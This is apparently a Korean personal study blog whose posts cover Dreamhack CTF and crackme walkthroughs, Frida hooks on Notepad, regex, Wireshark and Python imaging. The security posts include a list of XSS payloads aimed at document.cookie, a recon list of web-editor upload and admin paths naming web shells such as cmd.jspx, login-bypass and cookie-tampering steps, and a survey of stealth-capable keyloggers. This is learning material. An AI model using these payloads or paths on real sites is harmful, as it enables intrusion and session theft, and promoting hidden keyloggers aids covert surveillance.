공부 메모장

[드림핵] devtools-sources 문제

notepad.exe — Thu, 24 Aug 2023 09:00:45 +0900

Step 1. 문제파일을 다운로드 후 파일 내의 index.html을 실행하였습니다

.Step 2. index.html 웹페이지 접근 후 관리자 도구(F12)를 실행하였습니다.

Step 3. 검색 기능을 선택 후 DH를 검색하였습니다.

Step 4. Flag 값을 확인하였습니다.

[abex' crackme] crackme10 문제

notepad.exe — Wed, 23 Aug 2023 09:00:11 +0900

Step 1. CrackMe 10.exe를 실행하였습니다

.Step 2. 테스트 값으로 "11111111111111111111111" 값을 입력 후 Check하였습니다.

Step 3. 키 값이 다를 시 오류 메시지를 확인하였습니다.

Step 4. 오류 메시지 내의 "Wrong C0d3 !!!" 문자열을 검색하였습니다.

Step 5. 그래프의 맨 위쪽에 브레이크포인트를 걸고 실행 시 브레이크포인트에 안걸리고 CrackMe 10.exe가 종료되는 것을 확인하였습니다.

Step 6. 원인을 파악하기 위해 최초 시작 함수의 맨 위쪽 부분에 브레이크포인트를 걸고 실행하였습니다.

Step 7. 실행 후 분기 부분에서 ExitProcess함수가 존재하는 그래프로 이동하는 것을 확인하였습니다.

Step 8. JNZ은 ZF 값 관련 명령어이므로 0을 1로 변조 하였습니다.

Step 9. ZF 값 변조 시 다른 그래프로 이동한 것을 확인하였습니다.

Step 10. CrackMe 10.exe의 입력 값에 "11111111111111111" 값을 입력 후 Check하였습니다.

Step 11. 첫번째로 설정한 브레이크포인트 쪽으로 접근에 성공하였습니다.

Step 12. 분기부분에서 오류 메시지 그래프 쪽으로 진행되는 것을 확인하였습니다.

Step 13. ZF 값을 0에서 1로 변조 하였습니다. (JNZ는 ZF 값 관련 명령어)

Step 14. 해당 분기 부분에서 eax값과 ebx값을 비교하는 CMP명령어를 확인하였습니다.

Step 15. eax와 ebx의 값들을 확인하기 위해서 해당 부분으로 들어갔습니다. (eax <- ecx, ebx < -edx)

Step 16. EDX에서 31h(1) 값을 확인하였습니다. (테스트 입력 값)

Step 17. ECX에서 키 값을 확인하였습니다.

Step 18. 아스키 코드 표를 참고해서 변환 결과 키 값을 확인할 수 있었습니다.

Step 19. 확인한 키 값을 입력 후 Check하였습니다.

Step 20. 해당 키 값이 정답인 것을 확인하였습니다.

[Frida] 윈도우 메모장 후킹 - 2(메모장이 종료 못하게)

notepad.exe — Tue, 22 Aug 2023 09:00:05 +0900

메모장 종료 우회

메모장 - 메모장이 종료되지 않게 하기

실행 시

Step 1. 현재 실행 중인 메모장 종료 시 종료되지 않는 것을 확인하였습니다.

소스코드

var writePtr = Module.findExportByName(null, 'DestroyWindow');

Interceptor.replace(writePtr, new NativeCallback(function(a){

console.log(111111111111111111111111111111);

}, 'void', ['void']));

실행

Step 1. 현재 실행중인 메모장을 대상으로 frida 명령어를 입력하였습니다.
명령어 : frida -n notepad.exe -l a.js

Step 2. 현재 실행 중인 메모장 종료 시 종료되지 않는 것을 확인하였습니다.

Step 3. 종료 시도 시 종료 기능의 함수가 "11111111111111" 출력 기능으로 변경되서 "11111111111111"이 출력되는 것을 확인하였습니다.

[Frida] 윈도우 메모장 후킹 - 1(메모장 내의 문자열 사이에 문자열(test)을 집어넣기)

notepad.exe — Mon, 21 Aug 2023 09:00:41 +0900

1. 메모장 문자열 변조/저장
목표 : 메모장 후킹 후 현재 실행 중인 메모장 내의 문자열 사이에 문자열(test)을 집어넣기

실행 시

Step 1. a.log라는 실행 중인 메모장에 저장 기능을 실행하였습니다.

Step 2. a.log 텍스트 파일을 다시 열었을 시 문자열 사이에 임의의 문자열(test)가 입력된 것을 확인하였습니다.

소스코드

Interceptor.attach(Module.findExportByName(null, "WriteFile"), {

onEnter: function (args) {

// Memory.protect - 권한 변경

// Memory.writeUtf8String

// Memory.readCString

var str2 = 'test';

Memory.protect(args[0], 1026, 'rwx');

var str1 = Memory.readCString(args[1]);

//var result = str1.charAt(10);

var result_substring = str1.substring(0,3);

var result_substr = str1.substring(4,40);

var result_all = result_substring + str2 + result_substr;

Memory.writeUtf8String(args[1], result_all);

console.log(Memory.readCString(args[1]));

onLeave: function (retval) {

});

실행

Step 1. frida를 이용하여 현재 메모장을 후킹하였습니다.
(a.js 소스 파일)
명령어 : frida -n notepad.exe -l a.js

Step 2. a.log라는 실행 중인 메모장에 저장 기능을 실행하였습니다.

Step 3. 저장 시 cmd에서 실행 결과 출력된 것을 확인하였습니다.

Step 4. a.log 텍스트 파일을 다시 열었을 시 문자열 사이에 임의의 문자열(test)가 입력된 것을 확인하였습니다.

[XSS] XSS구문 사용 중인 것

notepad.exe — Mon, 14 Aug 2023 09:00:35 +0900

자주 사용하는 패턴 (구문을 응답소스코드에 맞춰서 사용)

1. <svg onmouseover="confirm(1)">

2. <SCRIPT>alert(document.cookie)</SCRIPT>

3. "><svg onload="alert(document.cookie)">.png

4. `;return false});});alert xss`;</script>

5. <img src=x onwheel="alert(document.cookie)">

6. "><script>alert(document.cookie)</script>

7. ['"><input type="text" onmouseover="confirm(document.cookie)"style="height:1000px: width:1000px" name="test[']

-> 맞춤 코드

10. "svg/onload="confirm(document.cookie)"

이벤트 핸들러로 뚫을때 주로 사용하는 구문 (alert가 막힌다면 confirm으로 뚫기)

현재 사용하고 있는 Editor 샘플페이지

notepad.exe — Sun, 13 Aug 2023 09:00:06 +0900

CHEditor

/editor/popup/image.html

/cheditor/

/core/editor/

/board/cheditor/

/js/cheditor/

/cheditor4/

/ko/cheditor4/

/cheditor5/

/cheditor/example/newpost.html

/cheditor/example/modifiy.html

/cheditor/example/multi.html

/cheditor/imageUpload/upload.jsp

ckeditor

/ckeditor/

/ckfinder/

/ckfinder/ckfinder.html

/ckeditor/upload.jsp

/ckeditor/_samples/

/ckeditor/samples/

/ckeditor/_samples/index.html

/ckeditor/samples/index.html

/skins/ckeditor/

/_sys/_plugin/cke

Namo CrossEditor

/namo/

/namo/index.html

/namo/manage/inde.html

/crosseditor/manager/

/crosseditor/index.html

/crosseditor/manage/index.html

/crosseditor/manage/jsp/manage_setting.jsp

/crosseditor/binary/upload/devshell.jsp

/crosseditor/binary/upload/cmd.jspx

/resources/crosseditor/index.html

/resources/component/crosseditor/index.html

DaumEditor

/daumeditor/

/_moduel/daumeditor/

/daumeditor/editor.html

dext5editor

/DEXTUpload/

/dext5/

/dext5upload/

/dext5upload/sample/

/com/dext5upload/

/dext5upload/sample/index.html

/dext5upload/sample/html/sample_upload.html

/dext5upload/admin/jsp/login.jsp

/dext5upload/admin/jsp/uploader_setting.jsp

/samples/index.html

/aspupload/file_upload.html

FCKEditor

/fck/editor/

/FCKeditor/

/js/fckeditor/

/fefitor/editor/fckeditor.html

/fckeditor/editor/filemaneger/browser/default/browser.html

/fckeditor/editor/filemaneger/connectors/test.html

/fckeditor/editor/filemaneger/connectors/uploadtest.html

/ediotr/filemanager/browser/default/browser.html

/ediotr/editor/filemanager/browser/default/browser.html

/HtmlEditor/_samples/default.html

SmartEditor

/smarteditor/SmartEditor2.html

/js/se2/SmartEditor2.html

/nse/SmartEditor2.html

/SmartEditor2.html

/SmartEditorBasic/

/SmartEditor2/

/SmartEditorBasic/SEditorDemo.html

/SEditor/popup/quick_photo/imgupload.jsp

/smarteditor/photo_uploader/popup/file_uploader_html5.php

/SE2/photo_uploader/popup/file_uploader_html5.php

/smareteditor2/photo_uploader/popup/file_uploader_html5.php

/smareteditor/popup/quick_photo/FileUploader_html5.php

/plugin/smarteditor2/photo_uploader/popup/file_uploader_html5.php

[abex' crackme] crackme5 문제

notepad.exe — Sat, 12 Aug 2023 09:00:48 +0900

1. crackme5.exe를 실행하였습니다.

2. 입력 값 없이 바로 Ckeck를 실행하였습니다.

3. 입력 값이 없거나 틀릴 시 다음과 같은 문자열이 출력되는 것을 확인하였습니다.

4. 아이다 툴에 해당 문자열을 검색하였습니다.

5. 검색 후 그래프로 바꾸어서 오답과 정답이 나뉘는 분기 부분을 확인하였습니다.

6. 동적 분석을 위해 "11111111111111" 테스트 값을 입력하였습니다.

7. ZF 값이 0일때 오답 쪽으로 가는 것을 확인하였습니다.

8. ZF 값을 1로 변조 시 정답 쪽으로 가는 것을 확인하였습니다.

9. 이제 ZF값을 변조하는 부분을 찾아봅시다. 바로 윗부분에 두 값을 비교하는 명령어인 cmp을 확인하였으며, 0 값과 eax 값을 비교하는 것을 확인하였습니다.
이때 eax의 값은 1이므로 1 =/= 0 이므로 ZF값이 변하지 않는 것을 확인하였습니다.

10. eax를 0으로 바꾸기 위해 윗부분에 call하는 lstrcmpiA함수를 확인하였습니다.

11. 함수 내에서 lpString1과 lpString2를 인자로 받는 부분을 확인하였습니다.
예상으로 lpString1문자열과 lpString2문자열을 비교하는 함수로 추측되었습니다.

12. 윗부분에서 lpString1이라고 주석이 달린 부분을 확인하였으며, 그 부분의 값을 확인하였습니다.

13. lpString2라는 주석이 달린 부분의 값 확인 시 "11111111111111" 테스트 값과 유사한 값이 확인되었습니다.

14. 테스트 값으로 추정되는 부분을 확인하기 위해서 이번엔 "22222222222222222" 테스트값을 입력하였습니다.

15. 확인 시 1 -> 31h, 2 -> 32h로 변환된 것을 확인 할 수 있었습니다.

16. 키보드에 있는 문자들을 입력하여 다음과 같이 표를 작성하여 표를 이용하여 lpString2문자열을 변환하였습니다.

17. 변환된 값을 crackme5.exe에 입력하였습니다.

18. 정답이라는 것을 확인하였습니다.

[abex' crackme] crackeme3 문제

notepad.exe — Fri, 11 Aug 2023 09:00:37 +0900

1. crackme3.exe를 실행하였습니다.

2. 키 파일을 체크한다는 것을 확인하였습니다.

3. 키 파일이 존재하지 않을 때의 반응을 확인하였습니다.

4. 아이다 툴을 이용하였으며, 키 파일을 체크한다는 문자열과 오답일 때의 문자열을 확인하였습니다.

5. 키 파일의 이름으로 추측되는 "abex.l2c"를 확인하였습니다.

6. "abex.l2c" 파일을 생성하였습니다.

7. crackme3.exe 실행 시 분기에서 오답쪽이 아닌 다른 부분쪽으로 진행되는 것을 확인하였습니다.

8. 계속 진행 시 정답쪽이 아닌 키 파일의 값이 없다는 오답쪽으로 진행되는 것을 확인하였습니다.

9. 키 파일의 값이 없다는 메시지 박스를 확인하였습니다.

10. GetFileSzie 함수가 호출되는 것을 확인하였으며, 파일 사이즈가 이용되는 것으로 추측하였습니다.

11. 키 파일에 임의의 값 "00000"를 입력하고 저장하였습니다.

12. 두 값을 비교하는 명령어인 cmp를 확인하였습니다.

13. eax의 값이 5인것을 확인하였으며, 값의 갯수와 12h가 같을 때 명령어가 동작하는 것을 확인하였습니다.

14. 키 파일에 "000000000000" 0을 12개 입력한 후 저장하였습니다.

15. 파일 실행 시 EAX가 "C"로 변환된 것을 확인하였습니다.

16. 알맞은 값으로 변환하였습니다.

17. 키파일에 "000000000000000000" 0을 18개 입력한 후 저장하였습니다.

18. 파일 실행 시 EAX가 "12"로 변환된 것을 확인하였으며, 정답쪽으로 진행되는 것을 확인하였습니다.

19. 정답이라는 것을 확인하였습니다.

[드림핵] simple_sqli 문제

notepad.exe — Thu, 10 Aug 2023 09:00:08 +0900

1. [HOME > Login]으로 접근하였습니다.

2. 로그인 폼을 확인하였습니다.

3. 문제파일을 메모장에 열었으며, 로그인에 사용되는 sql 쿼리문을 확인하였습니다.

4. sql insert문을 확인하였으며, 계정 정보를 확인하였습니다. (admin 계정의 비밀번호가 랜덤인 것을 확인)

5. guest계정으로 로그인을 시도하였습니다.

6. guest계정으로 로그인에 성공한 것을 확인하였습니다.

7. sql인잭션이 가능한지 확인하기 위해서 gues"||"t로 로그인을 시도하였습니다.

8. 로그인에 성공한 것을 확인하였습니다.

9. admin 계정의 비밀번호는 알 수 없으므로 admin id값 뒤에 주석 처리하였습니다.

10. admin 계정에 로그인하였으며, 플래그 값을 확인하였습니다.

[드림핵] session-basic 문제

notepad.exe — Wed, 9 Aug 2023 09:00:08 +0900

1. [HOME > Login]으로 접근하였습니다.

2. 로그인 폼을 확인하였습니다.

3. 문제 파일을 메모장에 열었으며, 계정 정보를 확인하였습니다.

4. user계정을 로그인 시도하였습니다.

5. user계정이 로그인된 것을 확인하였습니다.

6. user계정이 로그인되었을 시 쿠키 내에 세션아이디가 존재하는 것을 확인하였습니다. (버프슈트 툴 사용)

7. 문제 파일 코드 내에 Login등의 페이지 외에 admin페이지가 존재한다는 것을 확인하였으며, 페이지에서 session_storage가 리턴되는 것을 확인하였습니다.

8. admin페이지에 접근 시 admin계정의 세션아이디를 확인하였습니다.

9. 버프슈트 툴을 이용해서 user계정의 세션아이디를 admin계정의 세션아이디로 변조하였습니다.

10. admin계정으로 접속하였으며, 플래그 값이 출력된 것을 확인하였습니다.

[Snort]정규 표현식 작성

notepad.exe — Tue, 8 Aug 2023 09:00:47 +0900

오늘은 https://regexr.com/ 사이트를 이용해서 정규 표현식을 작성한다.

정규 표현식은 특정한 규칙을 가진 문자열의 집합을 표현하는 형식적 언어이다.

우선 위와 같이 PCRE로 바꿔주고 Flags에 들어가서 multiline를 눌러준다.

그리고 적혀있는 모든 글을 지우고 위와같이 예제를 만들어준다.

abc를 입력해보면 위와같이 abc에 해당되는 문자들이 매칭된다.

abc앞에 ^를 입력하면 위와같이 abc로 시작하는 문자열이 매칭되는 것을 확인할 수 있다.

abc뒤에 $를 입력하면 위와같이 abc로 끝나는 문자열이 매칭되는 것을 확인할 수 있다.

1+2를 가진 문자열을 매칭시키고 싶어서 1+2를 입력했지만 생각대로 매칭이 되지 않았다.

이유는 +기호는 메타문자이기 때문에 그 기능을 수행해서 12가 매칭이된다.

이때는 \(이스케이프 문자)를 사용해서 뒤에 있는 메타문자를 일반문자로 바꾸면된다.

그럼 위와같이 1+2가 원하는대로 매칭이 된다.

이메일 형식의 문자열을 매칭시키고 싶을때는 위와같이 입력하면 된다.

.은 임의의 문자 한개를 의미하고 *은 0번 또는 1번이상을 뜻한다.

()은 서브패턴을 의미하고 |은 또는을 의미한다.

.*@.*\.(com|org|net|kr|co\.kr)

의미는 임의의 문자 0 또는 1번이상이오고 @가 매칭되어야하고 그다음에 임의의 문자 0 또는 1번이상이오고 .이 매칭되면 다음 문자로 com, org, net, kr, co.kr 이 매칭되어야 된다는 것을 의미한다.

전화번호 형식을 매칭시키고 싶을때는 위와같이 입력하면된다.

010과 011은 무조건 앞에 있어야되고 -이 매칭된다음 0~9중에 아무거나 3, 4자리를 체우고 -이 매칭되고 0~9중에 아무거나 4자리를 체워야된다는 뜻이다.

이렇게 설정하면 밑에있는 카드번호와 겹치지않고 전화번호만 매칭시킬 수 있다.

[와이어샤크] FTP 패킷분석

notepad.exe — Mon, 7 Aug 2023 09:00:39 +0900

오늘은 ACTIVE_FTP 샘플을 이용해서 FTP가 어떻게 통신하는지 알아보았다.

우선 Statistics에 들어가서 Conversations을 들어간다.

들어가서 Address A를 정렬하면 다음과 같은 화면을 볼 수 있는데 포트번호 21번, 20번을 보고 FTP 통신을 하고 있다는 것을 알 수 있다.

또, 121.63.98.130이 서버고 121.63.98.128이 클라이언트라는 것을 알 수 있다.

좀 더 분석하기 위해서 다음과 같이 클릭한다.

그러면 위와같은 화면을 볼 수 있다.

TCP기반 통신이므로 SYN, SYN+ACK, ACK 3웨이핸드쉐이커를 했다는 것을 확인할 수 있다.

3웨이핸드쉐이커가 끝나고 위에서 4번째 줄에 FTP베너를 확인할 수 있다.

처음 FTP를 접속했을때 클라이언트에게 해당 FTP서버의 버전 등의 정보를 보내는 것이다.

그리고 9번째 줄에 검은색으로 가려놓은 부분은 유저네임이고 11번째에는 패스워드가 적혀있었다.

다음과 같이 들어가준다.

위와같이 주고받은 더 명확하게 통신한 내용들을 알 수 있다.

[드림핵] cookie 문제

notepad.exe — Sun, 6 Aug 2023 18:40:25 +0900

1. [HOME > LOGIN]으로 접근하였습니다.

2. 로그인 폼을 확인하였습니다.

3. 드림핵 Cookie문제 게시글에 존재하는 문제 파일을 다운로드하였습니다.

4. 문제파일을 메모장에서 확인 시 사용자의 계정을 확인하였습니다.

5. 게스트 계정을 로그인 시도하였습니다.

6. 게스트 계정 로그인이 가능한 것을 확인하였습니다.

7. 버프 슈트 툴을 사용하여 쿠키 값에 존재하는 username 값을 admin으로 변조하였습니다.

8. admin 계정으로 접속이 되었으며, 플래그 값을 확인하였습니다.

무료 키로거 정리

notepad.exe — Sun, 28 Feb 2021 16:12:19 +0900

무료 키로거들

Spyrix Free Keylogger

-> 키 입력, 클립 보드 텍스트 캡처, 스크린숏, 사운드 녹음, 경고 기능

암호로 보호 할 수도 있음

단점

작업 관리자에 표시되며 설치 폴더는 숨겨지지 않음

일반 사용자에게 쉽게 식별

(www.raymond.cc/blog/download/did/1456/)

BlackBox Express

-> 키로거로 사용할 수 있는 보안 모니터링 도구

로컬 PC 1대와 원격 PC 200대를 모니터링 가능

키 입력, 웹 검색, 실행된 프로그램, 방문한 웹 사이트, 이메일 클라이언트 프로그램, 웹 메일, 인스턴트 메시징 채팅 프로그램을 기록, 스크린 숏으로 캡처 가능

특정 사용자를 모니터링에서 제외하고 키워드, 웹 사이트 및 프로그램에 대한 경고를 추가할 수있음

이것 역시 바탕화면, 시작 메뉴, 설치된 프로그램 목록 및 프로그램 파일에 표시된다.

암호 보호가 지원되어 다른 사용자는 수집된 로그를 볼 수 없음

(www.raymond.cc/blog/download/did/1458/)

KidLogger

-> 오픈소스 사용자 활동 모니터링 도구

키 입력과 클립 보드를 기록함

USB 드라이브 삽입, 파일, 폴더 활동, 마이크 오디오, 브라우저 기록을 기록 skype 비디오를 포함한 스크린 숏을 찍을 수 있음

작업 관리자, 시작 메뉴, 프로그램 파일 폴더 및 설치된 프로그램 목록에 표시됨

이것 역시 사용자가 식별하기 좋음

(www.raymond.cc/blog/download/did/1459/)

Real Free Keylogger

-> 단순한 노 프릴 키로거이며 더 이상 업데이트되지 않음

설치 후 초기 실행 중에 프로그램을 보호하기 위해 암호를 설정하라는 메시지가 표시됨

사용자만 설정에 액세스하고 로그를 볼 수 있음

스텔스 모드에서 실행될 때 프로그램을 시작하기 위해 Ctrl + Alt + X를 설정할 수 있음 (유료 버정)

자동으로 로깅을 시작하는 스케줄러와 함께 제공되며 로그 파일은 HTML 파일을 내보낼 수 있음

(www.raymond.cc/blog/download/did/1460/)

Revealer Keylogger Free

-> 키 입력을 기록하고 여러 언어를 지원

모든/선택된 사용자 시작 설정, 권한 상승, Ctrl + Alt + F9, 암호 보호 및 로그 정리를 제공

스크린 숏 캡처 및 자동 전송 옵션은 유료 기능

시스템 트레이, 시작 메뉴 또는 설치된 프로그램 목록에 표시되지 않음

제거하려면 프로그램을 실행하고 오른쪽 상단의 도움말 아이콘을 클릭 한 다음 "프로그램 종료"로 이동하여 제거 선택

프로세스, 프로그램 및 시작 항목을 숨기는 옵션은 유료

(www.raymond.cc/blog/download/did/1461/)

블록체인이 왜 각광받고 있는지에 대한 나의 생각

notepad.exe — Sat, 20 Feb 2021 17:37:38 +0900

1. 서론

블록체인은 IoT, 빅데이터, 인공지능 등과 같이 제4차 산업혁명 기술 중 하나로 각광받고 있다. IoT나 인공지능 등의 기술은 발전하면서 실생활에 아주 편리하게 쓰일 수 있기 때문에 제 4차 산업 혁명의 핵심 기술로 느껴진다. 하지만 블록체인은 “비트코인?”, “화폐가 이미 존재하는데 왜 전자 암호화폐가 필요한 거지?” 같은 의문이 든다. 그렇다면 블록체인은 왜 제4차 산업혁명 기술 중 하나로 각광받고 있을까?

2. 본론

블록체인은 무엇인가?
이것은 데이터 분산 처리 기술로 네트워크에 참여하는 모든 사용자가 모든 거래 내역 등의 데이터를 분산, 저장하는 기술을 말한다. 블록은 개인과 개인의 거래의 데이터가 기록되는 장부가 되고 이런 블록들은 형성된 후 시간에 따라 순차적으로 연결된 체인의 구조를 가지게 되는데 이런 형태를 보고 블록체인이라는 이름을 붙였다
블록체인의 활용 분야
1) 음식의 유통 경로 추적
블록체인은 흔히 알고 있는 비트코인 외에도 다른 분야에서 사용될 수 있다. 영국의 소프트웨어 회사 프로비넌스 는 블록체인 기술을 음식의 유통 경로 추적에 사용하고 있다. 블록체인 기술을 트래킹 기술과 결합해 소프트웨어 를 만들어 재료가 추수된 곳부터 최종 소비자가 구입하는 지점까지의 전체 유통 경로를 꼼꼼하게 추적하기 때문 에 소비자들은 자신이 무엇을 먹고 있는지 명확하게 확인을 할 수 있다.

2) 디지털 콘텐츠
관리 웹 환경에서 소비자들은 콘텐츠를 만든 아티스트에게 돈을 지불하지 않고 불법 복제된 콘텐츠를 매우 쉽게 이용할 수 있다. 이것을 막기 위해 아스크라이브 같은 스타트업들이 블록체인 기반의 툴로 디지털 미디어 소비 에 대한 저작권, 권한, 결제를 관리할 수 있는 소프트웨어를 개발하고 있다. 블록체인은 콘텐츠 원저자를 증명하 는 것과 해당 콘텐츠에 누가 접근했는지 추적할 수 있다.

3) 투표
우선 전자 투표가 종이 투표보다 훨씬 효율적이다. 하지만 전자 투표 시스템의 보안과 투표 조작 가능성도 존재 한다. 하지만 블록체인에 투표 기록을 저장한다면 전자 투표 절차의 진위와 신뢰성을 강화하는 것에 도움을 줄 수 있다.

4) 암호화폐
블록체인 기술이 적용된 것 중 가장 많이 알려진 것은 암호화폐이다. 암호화폐는 암호 기술을 이용하여 만든 디 지털 화폐이고 네트워크로 연결된 인터넷 공간에서 암호화된 데이터 형태로 사용된다. 지폐 같은 실물이 아니라 디지털 데이터 형태로 존재하기 때문에 가상화폐라고도 한다.
기존의 화폐와 비교하여 암호화폐가 가지는 의미1) 비잔티움 장군 문제

A에서 F까지를 장군이라고 가정하고 장군들이 성을 함락시킨다고 생각해보자.

위의 그림과 같이 A장군이 B장군에게 ‘내일 오후 1시에 도시를 같이 점령하자’라고 전달했다. 그러면 B장군이 C장군에게 이 계획을 전달했다.

하지만 배신자 F장군이 E장군에게 ‘내일 오후 11시에 도시를 같이 점령하자’라고 가짜 계획을 전달 E장군에게 전달했다. 그리고 E장군은 잘못된 계획을 D장군에게 전달하여 결국 이 전쟁은 패배했다.이 문제를 해결할 수 있는 방법은 중앙을 집권하는 권력자(왕)이 있어야 한다. 이 권력자가 모든 장군들에게 명령을 내리면 배신자를 제외한 모든 장군들이 같은 시간에 성을 공격할 수 있다.

2) 현재 사용하는 화폐의 문제점
비잔티움 장군 문제와 같이 우리는 익명의 공간에서 서로를 믿을 수 없다. 그래서 지금 현재 화폐는 중앙 기관 에게 감시의 권한을 주고 거래를 한다. 그 때문에 우리가 인터넷과 같은 공간에서 물건을 구매했을 때 구매 내 역이 남아 돈을 소비한 내용을 추적할 수 있다. 하지만 이러한 감시와 권력이 중앙 기관에 위임되어 항상 좋고 최선의 방법이라고 할 수는 없다.

영국의 경제학자 케인즈의 화폐수량 설은 다른 조건이 일정하다고 할 때 화폐 수요에 비해 화폐공급이 상대적으 로 과다한 경우 실물의 가치가 증가하고 화폐의 가치가 하락하는 인플레이션이 발생한다는 것이다. 물론 국가에 서 중앙 기간을 맡고 있기 때문에 과다한 화폐공급을 하지 않을 것이다. 하지만 결국 우리는 정부나 중앙 기관에 게 이러한 권한을 믿고 위임할 수밖에 없다는 것이다. 이에 따른 프라이버시 침해나 통제는 어쩔 수 없는 것이다.

암호화폐가 각광받는 이유
비잔티움 장군 문제 때문에 어쩔 수 없이 중앙 기관에 감시와 권력을 위임하는 수밖에 없었지만 이러한 중앙 기관 없이 기술적으로 비잔티움 장군 문제를 해결할 수 있는 기술이 생겼다. 그것이 블록체인 기술을 이용하여 만든 암호화폐이다. 위의 내용과 같이 현재 사용하는 화폐의 문제점 때문에 암호화폐가 미래의 화폐 시스템이라고 각광받고 있다.
해결되어야 되는 문제점
암호화폐는 익명성이 보장되고 중앙 기관의 감시를 받지 않을 수 있고 신뢰할 수 있는 블록체인 기술을 사용하고 있지만 기존의 화폐를 대신해서 사용하기에는 큰 무리가 있다. 첫 번째로 비트코인을 거래하는데 소요되는 속도는 최소 10분이며, 몇 시간까지 걸리기도 한다. 두 번째로 가격 변동이 너무 크다. 마지막으로 모든 거래내역들이 공개되어 있기 때문에 오히려 익명성 서비스가 제대로 제공되지 않을 수 있다.

3. 결론

블록체인은 여러 가지 활용 분야가 있다. 하지만 제4차 산업 혁명 기술로 각광받는 이유는 새로운 화폐 역할을 할 수 있는 암호화폐 덕분일 것이다. 지금은 여러 가지 문제가 존재하기 때문에 기존의 화폐를 대신해서 사용할 수 없다. 하지만 기술이 발전해서 기존의 화폐를 대신해서 사용하게 된다면 더 이상 화폐를 생산하지 않아도 되고 중앙 기관도 존재하지 않아도 되기 때문에 수수료 같은 비용이 줄게 된다. 그래서 결국 암호화폐는 미래의 화폐가 될 것이고 미래의 화폐에 쓰이는 블록체인은 제4차 산업 혁명의 핵심 기술이 될 것이다.

[파이썬] ValueError: The parameter `image` must be a 2-dimensional array

notepad.exe — Wed, 4 Nov 2020 15:04:43 +0900

LBP실습을 하던 도중 위와 같이 오류가 나왔다.

검색을 해보니

사용했던 cat, woman, circle이미지가 완전한 그레이 스케일 이미지가 아니어서 발생한 것이었다.

그래서 위와 같이 이미지를 그레이 스케일로 변환하였다.

그레이 스케일로 변환 후에 잘 실행되었다.

[파이썬] scikit-image

notepad.exe — Sat, 19 Sep 2020 12:00:51 +0900

1. scikit-image란?

scikit-image는 Pillow보다 고급 기능을 제공하며 Enterprise급 응용프로그램을 작성하는데 적합하다.

2. 이미지 읽기

scikit-image에서는 라이브러리의 io 모듈에 있는 imread() 함수를 사용해 이미지를 읽는다.

위의 코드를 사용하면

위의 사진과 같이 주피터 노트북에서 바로 결과를 출력해준다.

3. 이미지 저장

imsave() 함수 사용, 저장하려는 파일의 절대 경로 또는 상대 경로와 이미지 변수를 입력으로 사용하여 저장한다.

이미지를 다른 이름으로 저장해보자.

위의 코드를 사용하면

위의 사진과 같이 잘 저장된 것을 확인할 수 있다.

4. 데이터 모듈

이 모듈은 몇 가지 표준 테스트 이미지를 제공한다.

이미지 처리에서 알고리즘의 결과를 보여주기 위한 적절한 예제로 사용된다.

위의 코드를 사용하면

위와 같이 내부에 저장되어있는 camera라는 이미지를 출력시킬 수 있다.

이외에도 내장되어 있는 text라는 이미지도 출력시킬 수 있다.

5. 색상 모듈

색상 모듈은 한 색상 공간에서 다른 색상 공간으로 이미지를 변경하는 함수들을 포함하고 있다.

위의 코드를 사용해서

(rgb2gray() 함수는 RGB 이미지 배열을 그레이 스케일 이미지 배열로 변환한다.)

이미지를 그레이 이미지로 바꿔서 출력했다.

그레이 이미지뿐만 아니라 hsv모델로도 변환 후 출력이 가능하다.

(rgb2hsv() 함수는 RGB 이미지 배열을 HSV 이미지 배열로 변환한다.)

6. 그리기 모듈

그리기 모듈은 원형, 타원, 다각형 등 다양한 모양을 그리는 다양한 함수들이 들어있다.

1) 원 그리기

위의 코드를 입력해서

(circle() 함수 사용)

(중심 좌표 (50, 50), 반지름 10)

(원 안에 픽셀들을 가져온 후 2D 행렬에 있는 값에 1을 할당하고 다른 모든 점은 0으로 만듬)

위의 사진과 같이 원을 그릴 수 있다.

2) 타원 그리기

위의 코드를 입력해서

(ellipse() 함수 사용)

(draw 모듈의 이 함수는 주어진 파라미터의 타원 내 픽셀 좌표를 가져오는 데 사용)

위의 사진과 같은 타원형을 그릴 수 있다.

3) 다각형 그리기

위의 코드를 입력해서

(polygon() 함수는 코너의 x와 y좌표 배열을 이용해서 다각형 내에 있는 픽셀 좌표들을 반환한다.)

위와 같이 다각형을 그릴 수 있다.

코드를 위의 사진처럼 변경해보면

위의 사진과 같이 오각형으로 만들 수 있다.

이런 방식으로 다양한 도형을 그릴 수 있다.

[파이썬]이미지 처리 pillow

notepad.exe — Fri, 18 Sep 2020 12:00:13 +0900

1. Pillow란?

Pillow는 PIL에서 시작된 오픈소스 라이브러리이다.

Pillow는 복잡한 알고리즘을 구현하기 전에 간단한 알고리즘을 구현해보고자 하는 초보자에게 적합한 라이브러리이다.

2. 이미지 읽기

pillow 이미지 모듈은 컴퓨터에 저장된 jpg 또는 png 파일 이미지를 읽기 위해 open() 함수를 제공한다.

(Open() 함수 : 픽셀 유형, 이미지 크기, 이미지 형식과 같은 정보가 들어있는 이미지 객체를 반환한다.)

주피터 노트북에 위의 코드를 입력하면

같은 디렉토리 안에 있는 buger이라는 이미지를 띄울 수 있다.

이때 이것은 임시의 이미지 파일이므로 이미지 파일 이름이 바뀌어있다.

3. 이미지 쓰기/저장

이미지를 컴퓨터의 파일에 쓰거나 저장하려면 이미지 객체의 save() 함수를 사용한다.

save() 함수는 이미지 저장하고자 하는 절대 파일 경로 또는 상대 파일 경로를 입력으로 받는다.

이번에는 buger이미지를 다른 이름으로 저장해보자.

위의 코드를 입력하면

hamburger.png가 다른 이름으로 저장된 것을 확인할 수 있다.

3. 이미지 자르기

이미지 객체는 두 좌표계를 입력으로 받고, 잘라진 이미지를 반환하는 crop() 함수를 정의한다.

이번엔 이미지를 짤라보자.

위의 코드를 입력하면

그럼 위와 같이 사진이 출력이 된다.

4. 이미지를 그레이 이미지로 변경

이번에는 사진을 그레이 이미지로 바꿔보자.

(RGB 색상 공간에서 그레이스케일 색상 공간 변환하려면 L 모드를 사용해야한다.)

위의 코드를 사용하면

기존의 컬러 이미지가 그레이 이미지로 출력되는 것을 볼 수 있다.

5. 크기 변환

이번에는 사이즈를 줄여보자.

(이미지의 크기를 변경하려면 새로운 크기를 담은 튜플을 인자로 취하는 resize()함수 사용)

위의 코드를 사용해서 200x200 사이즈로 줄여보자.

다음과 같은 결과를 볼 수 있다.

6. 회전

이번엔 사진을 90도로 돌려보자.

(이미지를 회전하려면 각도(반시계 방향임)를 인수로 취하는 rotate() 함수를 사용한다.)

다음과 같은 결과를 볼 수 있다.

7. 이미지 향상

이미지 향상에는 이미지의 대비, 밝기, 색상 밸런스, 선명도 변경과 같은 작업이 포함된다.

